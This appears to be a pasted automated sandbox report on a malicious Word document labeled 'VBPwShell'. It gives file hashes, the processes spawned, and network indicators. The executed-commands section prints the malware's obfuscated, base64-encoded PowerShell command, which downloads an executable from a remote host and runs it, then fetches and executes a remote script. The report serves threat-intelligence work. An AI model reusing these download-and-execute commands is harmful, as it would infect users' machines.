API tools faq
paste
paladin316

Docs_2f7aa1e921b9db69793389c136ce3734_doc_2019-08-14_14_30.txt

paladin316
Aug 14th, 2019
2,727
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 223.04 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "VBPwShell"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Docs_2f7aa1e921b9db69793389c136ce3734.doc"
  7. * File Size: 90624
  8. * File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Stand-alone national projection, Subject: Arkansas Thelma, Author: (737)112-4560, Comments: Synergistic needs-based array, Template: Normal, Last Saved By: Windows, Revision Number: 10, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Apr 19 18:59:00 2018, Last Saved Time/Date: Thu Oct 18 08:48:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  9. * SHA256: "dd9054151bad753fddd25fba92085b4244d0aeb33efefb121ae3ed31394c3184"
  10. * MD5: "2f7aa1e921b9db69793389c136ce3734"
  11. * SHA1: "60516cc2e2b06c1fa657ff0333a8eda4f8b69b11"
  12. * SHA512: "0abee2a4e862e987d78760ae8c8beab5538a62a03ccc497286844edc0e5aca72d880b907b9e19aa198d7a79cc789c18c85cf36224392a81daaeeb52e76d38eac"
  13. * CRC32: "6A24253C"
  14. * SSDEEP: "1536:T9pS01aN28TTRE2lK7Y+lmGDU3S44um8tpDF:/STNRX78BJ44uPtpDF"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE",
  18. "cmd.exe",
  19. "powershell.exe"
  20.  
  21.  
  22. * Executed Commands:
  23. "cmd.exe /c P^O^W^e^r^s^H^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^0^A^G^E^A^c^A^B^y^A^G^U^A^d^A^B^y^A^G^k^A^Y^Q^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^Z^w^B^v^A^G^s^A^c^w^A^0^A^C^4^A^e^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^G^Y^A^N^Q^B^j^A^D^Y^A^N^Q^A^x^A^D^U^A^Z^g^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^B^m^A^D^U^A^Y^w^A^2^A^D^U^A^M^Q^A^1^A^G^Y^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E^k^A^R^Q^B^Y^A^C^g^A^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^H^I^A^a^Q^B^u^A^G^c^A^K^A^A^i^A^G^g^A^d^A^B^0^A^H^A^A^O^g^A^v^A^C^8^A^N^Q^A^0^A^C^4^A^M^w^A^5^A^C^4^A^N^w^A^0^A^C^4^A^M^Q^A^y^A^D^Q^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^H^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A^A^=^=",
  24. "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe POWersHelL.EXe -EC KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB0AGEAcAByAGUAdAByAGkAYQB0AC4AYwBvAG0ALwBSAFUASQAvAGwAZQB2AG8AbgBkAC4AcABoAHAAPwBsAD0AZwBvAGsAcwA0AC4AeABhAHAAIgAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcAGYANQBjADYANQAxADUAZgAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACcAXABmADUAYwA2ADUAMQA1AGYALgBlAHgAZQAnADsAIAAgAEkARQBYACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8ANQA0AC4AMwA5AC4ANwA0AC4AMQAyADQALwBsAGUAdgBvAG4AZAAuAHAAaABwACIAKQApADsAIABFAHgAaQB0AA==",
  25. "C:\\Users\\user\\AppData\\Roaming\\f5c6515f.exe "
  26.  
  27.  
  28. * Signatures Detected:
  29.  
  30. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  31. "Details":
  32.  
  33. "IP": "52.109.20.1:443"
  34.  
  35.  
  36. "IP": "23.60.72.96:443"
  37.  
  38.  
  39. "IP": "65.52.98.231:443"
  40.  
  41.  
  42. "IP": "23.220.176.69:443"
  43.  
  44.  
  45. "IP": "104.18.24.243:80"
  46.  
  47.  
  48. "IP": "184.28.188.193:80"
  49.  
  50.  
  51. "IP": "72.21.91.29:80"
  52.  
  53.  
  54. "IP": "54.39.74.124:80"
  55.  
  56.  
  57. "IP": "184.28.188.192:80"
  58.  
  59.  
  60.  
  61.  
  62. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  63. "Details":
  64.  
  65. "ioc": "chevronaccent.glox"
  66.  
  67.  
  68. "ioc": "ontent.inf"
  69.  
  70.  
  71. "ioc": "ieee2006officeonline.xsl"
  72.  
  73.  
  74. "ioc": "e.gu"
  75.  
  76.  
  77. "ioc": "gb.xsl"
  78.  
  79.  
  80. "ioc": "rocess.glox"
  81.  
  82.  
  83. "ioc": "iso690.xsl"
  84.  
  85.  
  86. "ioc": "iso690nmerical.xsl"
  87.  
  88.  
  89. "ioc": "adial.glox"
  90.  
  91.  
  92. "ioc": "mlaseventheditionofficeonline.xsl"
  93.  
  94.  
  95. "ioc": "asis.thmx"
  96.  
  97.  
  98. "ioc": "content.inf"
  99.  
  100.  
  101. "ioc": "sist02.xsl"
  102.  
  103.  
  104. "ioc": "nline.xsl"
  105.  
  106.  
  107. "ioc": "ist.glox"
  108.  
  109.  
  110. "ioc": "iew.thmx"
  111.  
  112.  
  113. "ioc": "architecture.glox"
  114.  
  115.  
  116. "ioc": "pictureorgchart.glox"
  117.  
  118.  
  119. "ioc": "gosttitle.xsl"
  120.  
  121.  
  122. "ioc": "rame.glox"
  123.  
  124.  
  125. "ioc": "ccent.glox"
  126.  
  127.  
  128. "ioc": "anded.thmx"
  129.  
  130.  
  131. "ioc": "rc.glox"
  132.  
  133.  
  134. "ioc": "quations.dotx"
  135.  
  136.  
  137. "ioc": "set.dotx"
  138.  
  139.  
  140. "ioc": "gostname.xsl"
  141.  
  142.  
  143. "ioc": "rings.glox"
  144.  
  145.  
  146. "ioc": "turabian.xsl"
  147.  
  148.  
  149. "ioc": "harvardanglia2008officeonline.xsl"
  150.  
  151.  
  152. "ioc": "rid.glox"
  153.  
  154.  
  155. "ioc": "..3b"
  156.  
  157.  
  158. "ioc": "chicago.xsl"
  159.  
  160.  
  161. "ioc": "eadlines.thmx"
  162.  
  163.  
  164. "ioc": "adge.thmx"
  165.  
  166.  
  167. "ioc": "arallax.thmx"
  168.  
  169.  
  170. "ioc": "ividend.thmx"
  171.  
  172.  
  173. "ioc": "uotable.thmx"
  174.  
  175.  
  176. "ioc": "rame.thmx"
  177.  
  178.  
  179. "ioc": "ext.glox"
  180.  
  181.  
  182. "ioc": "rop.thmx"
  183.  
  184.  
  185. "ioc": "etropolitan.thmx"
  186.  
  187.  
  188. "ioc": "ype.thmx"
  189.  
  190.  
  191. "ioc": "erlin.thmx"
  192.  
  193.  
  194. "ioc": "ircuit.thmx"
  195.  
  196.  
  197. "ioc": "g.n9"
  198.  
  199.  
  200. "ioc": "roplet.thmx"
  201.  
  202.  
  203. "ioc": "avon.thmx"
  204.  
  205.  
  206. "ioc": "late.thmx"
  207.  
  208.  
  209. "ioc": "eathered.thmx"
  210.  
  211.  
  212. "ioc": "amask.thmx"
  213.  
  214.  
  215. "ioc": "esh.thmx"
  216.  
  217.  
  218. "ioc": "rail.thmx"
  219.  
  220.  
  221. "ioc": "vent.thmx"
  222.  
  223.  
  224.  
  225.  
  226. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  227. "Details":
  228.  
  229. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  230.  
  231.  
  232. "suspicious_request": "http://tapretriat.com/RUI/levond.php?l=goks4.xap"
  233.  
  234.  
  235. "suspicious_request": "http://www.tapretriat.com/RUI/levond.php?l=goks4.xap"
  236.  
  237.  
  238.  
  239.  
  240. "Description": "Performs some HTTP requests",
  241. "Details":
  242.  
  243. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  244.  
  245.  
  246. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  247.  
  248.  
  249. "url": "http://tapretriat.com/RUI/levond.php?l=goks4.xap"
  250.  
  251.  
  252. "url": "http://www.tapretriat.com/RUI/levond.php?l=goks4.xap"
  253.  
  254.  
  255.  
  256.  
  257. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  258. "Details":
  259.  
  260.  
  261. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  262. "Details":
  263.  
  264. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9\\xa0\\xda\\x8fz\\x13\\xb8\\xfe\\xc9\\xd8\\xcf\\xa4\\x1c\\x93a\\xc9@\\xcd\\xdd\\xdd\\xc8dti\\x90\\xc4t\\x7f\\x99\\x8e\\x1fm\\xe5\\x8b\\x19\\xd2\\x17/\\xf6\\xd9\\x89\\xb2m\\xa6#\\xe1\\xdf\\xfcg\\x84g&x*\\xfezy\ryel\\xef\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000zj\\xdad\\xf2\\xff\\xf5\\xa6\\xc1 \\x18\\x19\\x1c\\xa1\\xd7n\\xcd\\x00b\\xd3 \\xe4\\xe80g>\\xee\\xd0\\xea\\x10\\xdakd\\xea\\x8c\\xa2=\\xd9\\xa1\\xd31\\xc3=m\\xf2\\x87k\\x81"
  265.  
  266.  
  267. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  268.  
  269.  
  270. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  271.  
  272.  
  273. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p,\\x0f\\x8a\\x0c0i)o\\x11\\x83\\xb8\\xbe14e\\xd5@\\x86\\xad\\xa3p\\xf5@\\xdcw\\x8be\\x1b\\xd2w\\x17\\x9b#~d\\x9at\\xd7\\x92d<\\xd1\\xbeh\\xfbz\\x14d\\xea\\xd6\\x83\\x0b\\xc05\\xfa\\xe8\\x96@(\\xd6w=\\xf2l+7m\\x8a \\x8f\\xd5\\xf6\\xa6\\xa7e\\xba=dud^\\x9a\\xf9hq\\x05\\xbe\\xdc\\xe7\\x02\\xdc\\xfb@\\xbfy\\xce\\xb4rj\\xfa\\x86$\\x9f\\x82\\xd7\\x14\\x86\\xa3y\\xd9;\\x82\\xbc\\x1c2\\xa8c\\x0c\\x9ct^\\x83uy\\x9c\\xb6\\xbcm\\xfb\\xce#\\xb8\\x1a*\\xa1x\\xeb\\x90\\x9e\\xffo\\x14\\xbf\\x89^i\\xc9\\x11\\xc7d\\xe0\\xe0\\xfb\\x1c\\xc2\\xc3\\xb1s\\xd9\\x8a\\x05\\x8f\\x8d\\xa0*\\xc2q\\x82\\xde\\x1acebc\\xb3\\xf8\\x8f:\\x02\\xd3\\xedv\\x9c\\x1d\\xd7\\x18\\x02\\x9fl\\x8a\\x15\\xb1\\xc9\\x11v\\xe7+^s\\x0e\\xeemo\\x85\\x9dv@\\x02\\xb4cph\\xb9\\xa9\\x0c2o>\\xdc\\xd5n\\x85\\xddx6w\\xd0\\xdd\\x9d<\\xc5\\xfe\\xcc\\xc0\\xd8\\x94\\xf0\\x8dk\\xeb6q\\xd4\\xa7q\\xb8\\xa1\\xd2f"
  274.  
  275.  
  276. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\x0bm\\xc7\\x1bo\\xf3\\xb41\\xedw_\\x16\\xaf\\x85~\\x8b\\x17\\x17\\xa0\\xab\\x94>\\xa7\\xc0\\xaddksc\\xe3$2\\xc4\\xcc\\xf9\\xd6\\xa7;\\xe6h\\x93\\xd9!\\xb5\\xa1\\x94l\\xf4i\\x98\\xb1\\xe1\\x81\\xb3\\xb4\\h\\x8dz\\xfez\\xf9\\xcc\\xbet\\xae\\x10\\xcci\\x1c\\xc4\\xa6\\x91i\\xf3pb\\xd8\\x8f\\x04s\\x1de\\xc8u\\xccs\\xc5\\x92\\x0b\n\\x07\\x02\\xd7\\xdab|\\x00\\xb4hh\\x04\\x14\\x19\\xb9\\xf7z'nr\\xf7\\x9b\\xd9\\x12\\xc1r\\xfd\\x8f/(a\\xa5\\x85\\xf8\\x98~\\x88i\\xb9\\xfe\\xa7\\x91\\x14\\x1e\\xd8\\\\x88\\xe7k\\xaa\\x8d\\xa6o)3\\x7f\\x91\\x8e\\xc6t\\xf7\\x8ak\\x08a\\x9f\\xfc\\xe8/\\x14\\xc3!ip?s9,\\x90\\xad\\xee\\xec\\x8a\\xbf\\x89x\\xc7\\xcc\\xfaz\\xea\\xbd\\xc0e@es\\xacww!\\xbc\\xb7\\xde\\xab\\x13!r\\x83wc#\\xe9\\xf3\\x01a\\xc8gj:\\x18\\x14\\xd3r\\xc2)m\\xc5\\xb3\\xbbw\\xf8c\\x8f\\xbd\\x86\\xa3\\x95\\xde\\xf1\\xda\\xd4\\xc3\\x1c\\xb6\\x8f <\\x9c\\xa8t\\xc0~+\\x80!cqm"
  277.  
  278.  
  279. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01t\\x1297\\x84\\x99\\xc6n_\\x96\\xfc\\xbd\\xa7\\xc5\\xfd\\x16ks3\\x904*\\x8ez\\xfb\\x18\\xed\\xfd\\x0e\\xe2\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  280.  
  281.  
  282. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04gc\\xd9k\\xf0v\\x93\\x00\\xc2k\\xe4\n\\xccr\\xb5<\\xe1z0w(\\xf0\\xe3\\x04$\\xf1we\\x05>f\\xcd\\x99\\x1a.>\\xea\\xca\\xcb\\xbe7~\\xdbp\\xe4\\xcbskn\\xf1\\x05z\\x18z\\x0e+\\xad)\\xe0gb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb7\\x9b\\x9e\\x89&\\xfes\\x12\\x19d\\x88\\xc1\\x1e\\xe5\\x85m\\x9et\\xca?\\x9a\\xa4z$\\x83\\xec\\x8c\\x97^3&\\xday1\\xd7`\\xb8/\\x97\\xcdnc\\xa1q(\\xdf\\xe3"
  283.  
  284.  
  285. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xef\\x1f\\xc3l\\x8f^t\\xac\\xff\\xa2+wn\\xcb\\xeb\\xa7\\xeb\\xfd\\xfb\\x7f\\xab\\xbd\\xc5\\xf4;n\\xe1\\xb2\\x1d\\xe3vg\\x1f/p\\xea\\x04\\xa2lx\\xdcx\\xf8\\x8e\\x96\\x83\\x9d\\xd0\\x9f\\xda\\x12\\x81\\x9174\\xdb\\xc3x\\xcb1\\x8dg\\xed\\xe1\\x8c\\x00\\xe6\\xbc\"s\\xc4y\r\\x9a\\xce\\xa36\\x0e\\xb9\\x85\rp\\xef\\x9e\\xc6q\\xddd\\xe4\\xa4\\x81\\x9ev\\xf0\\xcfg\\x12\\x05fe\\xb15\\x05\\xd7?ek\\xde\\xa1\t\\xc6!q\\x07\\xed;\\x02m\\xeba\\xc7\\x94p\\xce\\x01yvi\\x95\\xa4b\\xa5t\\x0cz\\xda\n<p\\x91m\\x8b\\xb8\\xd8k\\xee_\\xe4x\\xa4k\\x8d\\xc9tb\\xc6\\xbb\\x97m<\\xc2j\\x1f\\xc9m\\xea)y8\\x1b\\xf6>d^q0\\xf1\\xcc\\x9b\rou\\xe6\\xf3\\x93\\xc7\\x92\\xd1\\xdb\\xa1\\xfd\\x1c<\\xb3n\\xa9\t~g\\xb9\\xfb\\xc0t\\xbb\\xc1\\xd5\\x88\\xd6\\xdf\\xc6\\xd9\\x88kj\\xa7t\\xd0\\xa9\\x0e\\xac(\\xa7\\x16\\x9c\\xb3\\xbf$ \\x0fl\\xb8*\\x05\\xeb\\x04\\x11|\\x16\\xeftu\\xd8p\\xe5\\xa7"
  286.  
  287.  
  288. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01t\\x12;\\xad3\\x90\\x9f\\x9e\\x06-\\xde'\\xa1\\x18\\xd4\\xbcs\\x8aei\\xac\\xa1 \\xfc2mn\\x99lb\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  289.  
  290.  
  291. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04t/m\\xccx\\x191\\xd7\\xde\\x07\\xd6n\\xa8\\xd3\\x1ei'\\xec\\xca(\\xa2n\\x1d9@\\xa7\\x94\r\\xf3\\x00!\\xbd\\x97\\xe9\\xd6y\\xde\\x81\\xbe\\x83\\x9f)\\x06-\\xb9p\\xd5\\xb3\\xd2m\\x9c<\\xc3\\xda6\\xaf\\x00b\\xcd\\xe87\\xfb\\xf9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x13\\x84\\xc4\\x08\\xadai\\w`\\xd9\\xd7\\xber\\xfbb\\xd3\\x94\\xc8\\xf5d2#0_g>\\xe2\\xd2wb\\x97\\x14k/c\\xfb\\xe9\\xa3\\xbet\\xa0\\xac\\xd2\\x84_h"
  292.  
  293.  
  294. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pf\\x8d\\xc4\\xd5$z\\x08\\x0b\\xf1\\x11\\x82>\\xd3\\x06\\xb4\\x064rm\\xf3\\xa3\\xb2\\x1c,\\xe1\\xa6n\\xbe\\x0b'\\xab\\xa6\\x01\\x81\\x15g\\xfe\\x96\\xa7\\x10\\x8b\\xb7\\x19\\xe0\\xf4#i=s\\xd6*zo\\xb7=\\x88\\xe5\\x8fgk)\\x91y\\x88\\x92\\xc9\\x1c<\\xde\\xa1\\xadf8\\x84\\xc3\\xb31\\x82+\\x0ec\\x16x\\x10x_\"u\\xa8\r\\xf3\\x84w\\x82va\\x9c\\x97\\xd6#~\\x83\\xe5>\\xc8\\xfbdc\\x08\\x01\\x92\\xdb\\xe5\\xa4\\x15\\x97r\\xb8\\x8b\\x9aa\\xc1\\xbd\\xb0u\\x92\\x18\\x94)\\xf6\\x04\\xbd\\xde\\xa92\\xa2\\xb7\\xff\\x03\\x17y\\xfa\\xef\\x1aym\\xc2\\x17\\xbe2r\\xe4\\xf9\\xb9\\x95\\x93\\xb9w\\xfe\\x1f49s+\\x8b\\xbd\\xc7\\x0c\\x85\\xc8\\xee\\xcf$\\xb9\\xcf\\xa3\\xb9\\x88\\x08\\xf9o\\xbc\\xaa\\x89u:o\\x17\\xcc\\xa9\\xf92\\xee*\\x8f0~4\\xba\\x98l\\x82\\xe9j~\n\\xf3\\x91\\x11\\xf3\\x89\\xf4nk^~\\x98xt\\xdc=2\\xdb\\xfb7e\\x05\\x0e\\x0e6\\xfe\\xb6\\xf0q\\xf6\\x17\\x1e(q\\xa28?v\\xd2\\x05`\\xa2\\x90\\xde\\x94"
  295.  
  296.  
  297. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xfa\\xda\\x0cw\\xe1\\x1e\\xd1\\x80\\xaezt\\xe1\\x9a\\xe3\\xbd\\x90\\xfb\\x1e$\\xf8\\xf0\\x17\\xd0/\\x91\\xb6\\x18\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  298.  
  299.  
  300. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x11\\x84\\xbc\\\\x10\\xd8\\x94g\\xb7\\xb8nn\\x82\\xbf\\xda\\x94\\x84\\x126\\xc1\\xca\\xbf\\xe3\\x8b\\x0c\r\\x02#\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  301.  
  302.  
  303. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x98\\x1a\\xd8g\\xc4\\x90\\xed\\xf5\\xec0s\\xe5\\xdbq\\x9d\\xf7\\xb6\\xb3'\\xdb\\xe9\\x9a\\x9ch\\x7f\\xb4ew\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  304.  
  305.  
  306. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xe5\\xaf\\x8e8\\x88\\x99u\\xd3=\\xf26p^c\\xcc\\xed\\xb9\\xc2\\xcb5\\xcem\\x18\\x80?z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  307.  
  308.  
  309. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\x86\\xa3n\\xdd88y\\xad\\xcc\\xd8`3\\xcap\\xfe\\xcf\\l\\x8bxk \\x90\\xdd\\x12&\\xe4\\xe6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  310.  
  311.  
  312. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xe4;+\\xce\\\\x00\\x85\\xb0\\xde\\x9ai\\x05\\xbb\\xdf\\x9a\\xdc\\xecv\\x91&\\xe8\\xda\\xf3\\xc5\\x04cjp\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  313.  
  314.  
  315. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;\\xff\\x1ap\\xce\\xdb'\\x05\\xfdpw\\x00@k\\xbd\\x81\\x9edh\t\\xec\\x99\\x83\\x07\\xe8\\xa0\\x88u\\x01\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  316.  
  317.  
